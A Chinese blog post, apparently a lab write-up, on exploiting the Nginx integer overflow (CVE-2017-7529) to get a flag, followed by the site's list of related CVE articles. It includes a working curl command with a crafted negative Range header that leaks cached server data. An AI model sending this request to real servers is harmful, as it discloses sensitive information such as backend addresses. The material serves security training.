经典CVE：Nginx整数溢出漏洞

最新推荐文章于 2023-07-05 19:30:11 发布
最新推荐文章于 2023-07-05 19:30:11 发布
阅读量774 收藏
点赞数
分类专栏： 靶场练习笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_56229643/article/details/120762817
版权

Nginx漏洞 整数溢出 payload构造 靶场 flag获取
关键词由CSDN通过智能技术生成

靶场地址：http://www.whalwl.site:8040/ 

解题准备：了解Nginx整数溢出漏洞的利用方法

解题思路：

1、根据首页提示，手动访问

http://www.whalwl.site:8040/proxy/demo.png

 2、发现图片存在，于是根据提示构造poyload

curl -i http://www.whalwl.site:8040/proxy/demo.png -r -17190,-9223372036854758618 > poc.txt

3、 打开自己主机的命令行，执行后在桌面生成poc.txt，用notepad++打开即可发现flag

漏了个大洞
关注
专栏目录
CVE-2017-7529 Nginx整数溢出漏洞自动化验证脚本
afei001
04-23 3918
欢迎关注公众号：网络运维渗透，一起学习交流。 目录 1.漏洞简述 2.POCsuite POC脚本 3.漏洞修复 1.漏洞简述 当使用Nginx标准模块时，攻击者可以通过发送包含恶意构造range域的header请求，来获取响应中的缓存文件头部信息。在某些配置中，缓存文件头可能包含后端服务器的IP地址或其它敏感信息，从而导致信息泄露。 CVE：CVE -CVE-2017-7529 Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别...
CVE-2017-7529 Nginx整数溢出漏洞复现
afei001
05-01 504
目录 1.漏洞概述 2.漏洞原理 3.影响版本 4.漏洞等级 5.漏洞复现 5.1 Vulnhub搭建漏洞环境 5.2 CVE-2017-7529 Nginx整数溢出漏洞复现 6.漏洞修复 1.漏洞概述 2017年7月11日，Nginx在官方公告中称发现了一个范围过滤器中的安全问题（CVE-2017-7529）。攻击者可通过精心构造的恶意请求能造成整数溢出，对范围值的不当处理会导致敏感信息泄漏。 当使用Nginx标准模块时，攻击者可以通过发送包含恶意构...
CVE-2017-7529 Nginx越界读取缓存漏洞
凝聚力安全团队
01-26 4120
目录漏洞描述影响版本漏洞环境搭建漏洞原理漏洞利用漏洞加固参考链接 漏洞描述   从0.5.6到1.13.2（含）的Nginx版本容易受到nginx范围过滤器模块中整数溢出漏洞的攻击，从而导致特制请求触发的潜在敏感信息泄漏。 影响版本 Nginx 0.5.6 – 1.13.2 漏洞环境搭建 使用docker 启动vulhub中的CVE-2017-7529环境 docker快速入门以及漏洞环境搭建 漏洞原理 Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，
CVE-2017-7529 Nginx整数溢出漏洞分析
weixin_34315189的博客
09-13 1629
本文讲的是CVE-2017-7529 Nginx整数溢出漏洞分析， 1、漏洞描述 在Nginx的range filter中存在整数溢出漏洞，可以通过带有特殊构造的range的HTTP头的恶意请求引发这个整数溢出漏洞，并导致信息泄露。 2、影响程度 攻击成本 低 危害程度 低 影响范围 Nginx 0.5.6 – 1.13.2 3 、漏洞...
Nginx系列之整数溢出漏洞（CVE-2017-7529）
weixin_51692662的博客
08-16 2088
浅谈，代码，http，nginx，溢出漏洞
Nginx越界读取缓存漏洞（CVE-2017-7529）
a1b2c3是弱口令
12-18 9836
Nginx在反向代理站点的时候，通常会将一些文件进行缓存，特别是静态文件。缓存的部分存储在文件中，每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件，则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。如果我的请求中包含Range头，Nginx将会根据我指定的start和end位置，返回指定长度的内容。而如果我构造了两个负的位置，如(-...
nginx整数溢出小结-cve-2017-7529
gaogaogaopipi的博客
05-17 3595
起因 这两天在做nginx整数溢出时出了点小岔子，经过学习对这个问题有了深入的了解，特此记录。 漏洞补丁以及平安银河实验室已经把这事说的很清楚了，在此记录原文地址。https://www.freebuf.com/articles/terminal/140402.html 简单的说就是这么一回事： HTTP的Range允许客户端分批次请求资源的一部分，如果服务端资源较大，可以通过Range来并发下...
Nginx整数溢出漏洞（CVE-2017-7529）复现
Vitaminapple的博客
04-19 5577
Nginx整数溢出漏洞（CVE-2017-7529） 1. 环境搭建 1.1 Vulhub靶机搭建 1.1.1 环境安装 （1）安装docker。 $ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun （2）安装Docker-Compose $ pip install docker-compose # 如果没有pip需要先安装 $ yum -y install epel-release $ yum -y install p
使用Docker搭建Nginx整数溢出漏洞（CVE-2017-7529）及Python PoC验证
热门推荐
Mi1k7ea
08-08 1万+
漏洞具体信息可以看http://www.freebuf.com/articles/terminal/140402.html 创建容器： 使用之前制好的镜像ubuntu_aliyun:1.0创建新容器： docker run -it -d --name nginx_int_overflow -p 8086:80 ubuntu_aliyun:1.0 docker exec -it id
nginx ‘ngx_http_close_connection()’远程整数溢出漏洞
weixin_30404405的博客
04-27 217
漏洞名称： nginx ‘ngx_http_close_connection()’远程整数溢出漏洞 CNNVD编号： CNNVD-201304-565 发布时间： 2013-04-27 更新时间： 2013-04-27 危害等级： 漏洞类型： 威胁类型： 远程 CVE编...
Nginx-Remote-Integer-Overflow-Vulnerability:CVE-2017-7529
04-13
Nginx远程整数溢出漏洞 CVE-2017-7529
linux远程溢出,Nginx 远程整数溢出漏洞（CVE-2017-7529）
weixin_42310558的博客
05-06 1092
Nginx 远程整数溢出漏洞(CVE-2017-7529)发布日期：2017-07-13更新日期：2017-07-14受影响系统：Nginx Nginx 0.5.6-1.13.2描述：BUGTRAQ ID: 99534CVE(CAN) ID: CVE-2017-7529Nginx是一款使用非常广泛的高性能web服务器。Nginx 0.5.6-1.13.2版本在nginx范围过滤器模块中存在整数溢...
Docker搭建Nginx整数溢出漏洞（CVE-2017-7529）及Python PoC验证
mister 代
01-31 729
Poc复现 一 Docker搭建Nginx整数溢出漏洞（CVE-2017-7529）及Python PoC验证 参照文档： https://www.77169.net/html/158360.html https://blog.csdn.net/SKI_12/article/details/76944203?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-8.control&de
[中间件漏洞]nginx漏洞复现
紫洋的博客
05-26 2176
Nginx的处理程序和FastCGI处理程序不同导致 Nginx拿到URI为/1.jpg/xxx.php后，识别处后缀是.php，认为是php文件，转交给PHP FastCGI处理程序去处理。PHP FastCGI处理程序识别该URI： /1.jpg/xxx.php不存在，按照PHP FastCGI处理程序自己 的规则，删去最后的/xxx.php，又看/1.jpg存在，就将/1.jpg当成要执行的文件，就成功解析。在路径后增加/test.php 并访问,发现图片已经被解析成为php文件。
Nginx整数溢出漏洞（CVE-2017-7529）复现又简单又详细呦!
最新发布
2301_76467680的博客
07-05 399
kali虚拟机靶场目录有poc.py文件。vi进去把ip改为自己的虚拟机IP。然后用python执行即可。
绿盟科技网络安全威胁周报2017.28 关注Nginx远程整数溢出漏洞CVE-2017-7529
weixin_34396103的博客
09-01 749
绿盟科技发布了本周安全通告，周报编号NSFOCUS-17-28，绿盟科技漏洞库本周新增74条，其中高危53条。本次周报建议大家关注Nginx 远程整数溢出漏洞。目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商主页下载更新。 焦点漏洞 Nginx 远程整数溢出漏洞 NSFOCUS ID 37146 CVE ID CVE-2017-752...
判断远程url是否_IIS远程代码执行与Nginx整数溢出碰撞
weixin_30239977的博客
01-11 338
点击蓝字，关注我们本文作者：98bk (团队成员)本文字数：718阅读时长：2~3min附件：点击查看原文下载声明：请勿用作违法用途，否则后果自负本文属于WgpSec原创奖励计划，未经许可禁止转载事了拂衣去，深藏身与名此次分析是基于一次意外的安全事故导致的深度剖析漏洞公告：Microsoft 安全公告 MS15-034 - 严重HTTP.sys 中的漏洞允许远程执行代码，该漏洞位于微软I...
Nginx整数溢出漏洞(CVE-2017-7529)复现
baidu_38844729的博客
03-31 5092
前言 整数溢出： 当一个整数存入了比它本身小的存储空间中，超出了数据类型所能表示的范围时，就会发生整数溢出 比如一个short类型的变量a=32767，当a+5时会变成-32764，因为超出了short类型的数据范围，造成上溢。其中最高位用0表示正数，1表示负数 32767+5 = 0111111111111111 + 0000000000000101 = 1000000000000100(-32...
CVE-2017-7529Nginx越界读取缓存漏洞POC
weixin_45694388的博客
07-28 709
漏洞影响 低危，造成信息泄露，暴露真实ip等 实验内容 漏洞原理 通过查看patch确定问题是由于对http header中range域处理不当造成，焦点在ngx_http_range_parse 函数中的循环： HTTP头部range域的内容大约为Range: bytes=4096-8192bytes=-字符串指针p中即为“bytes=”后面的内容 这段代码是要把“-”两边的数字取出分别赋值给 start 和 end 变量标记读取文件的偏移和结束位置。 对于一般的页面文件这两个值怎么玩都没关系。但对于有
Linux内核整数溢出漏洞分析：Kint工具示例
例如，CVE-2009-1265就是一个关于Linux内核的整数溢出漏洞。 该漏洞存在于rose_sendmsg函数（位于sys/net/af_rose.c）中，影响了Linux内核2.6.24.4以及更早的版本，直到2.6.30-rc1之前。远程攻击者可以通过发送具有...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值